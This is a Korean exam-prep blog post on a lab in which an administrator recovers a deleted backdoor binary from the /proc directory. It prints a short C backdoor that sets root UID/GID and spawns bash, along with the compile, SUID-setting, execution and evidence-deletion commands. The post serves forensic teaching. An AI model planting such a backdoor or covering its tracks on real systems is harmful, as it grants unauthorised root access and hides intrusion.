728x90
반응형

 

개요

  • 실행 파일을 실행 후, 해당 실행 파일을 삭제
  • 실행 파일 실행에 따라 프로세스는 Memory에 적재된 상황에 실행파일을 복구하는 방법

 

 

시나리오

정보보안기사 15회 실기에 출제된 내용

  • 공격자는 백도어를 실행 후 실행 파일 삭제
  • 백도어 실행 파일은 삭제됐지만 백도어 프로세스는 Memory에 실행 중
  • proc 디렉터리를 통해 백도어 프로세스 복구하기

 

 

 

실습 환경 구축

 

간단한 백도어 프로그램 ( root 권한으로 bash shell 수행 )

back.c

#include <stdio.h>

main() {
  printf("welcome backdoor\nNow your are root\n");
  setuid(0);
  setgid(0);
  system("/bin/bash");
}

 

gcc를 통해 백도어 컴파일, SetUID 권한 부여

# gcc -o backdoor back.c
# chmod 4775 backdoor

 

backdoor

 

 

 

 

시나리오 실습

1. 공격자는 일반 계정으로 접속하여 사전에 업로드 해놓은 backdoor 파일을 실행

 

  • 원격으로 접속

 

 

  • find 명령어를 통해 backdoor 파일 검색
    # find / -perm -4000 | grep backdoor

 

 

  • backdoor 파일 실행 (root 권한 bash 환경 취득)
    # /study/backdoor

 

 

 

  • backdoor 코드 및 실행 파일 삭제 
  • 파일은 삭제 됐지만 root 권한은 현재 유지 중 (backdoor 프로세스가 Memory에 적재 중) 
    # rm /study/back.c /study/backdoor

 

 

 

 

2. 관리자는 보안점검 중 backdoor 발견

  • 실행 중인 프로세스 확인 중 수상한 프로세스 발견 (pid 9986)
    # ps -ef

 

 

  • 수상한 프로세스 경로 확인
  • 그러나 실행 파일은 존재하지 않음

 

 

 

 

3. proc 디렉터리에 저장된 프로세스를 통해 백도어 프로그램 복구

  • proc 디렉터리의 pid 9986 디렉터리 경로 찾기
    # cd /proc/9986
    # ls

 

 

  • backdoor 프로그램 실행 명령어 확인
    # cat cmdline

 

 

 

  • backdoor 프로그램 tmp 디렉터리로 복사 후 파일 확인
    # cp exe /tmp
    # cd /tmp
    # ./exe

 

 

  • linux strings 명령어를 통해 실행파일 안에 사용된 문자열 확인
    # strings exe

728x90

+ Recent posts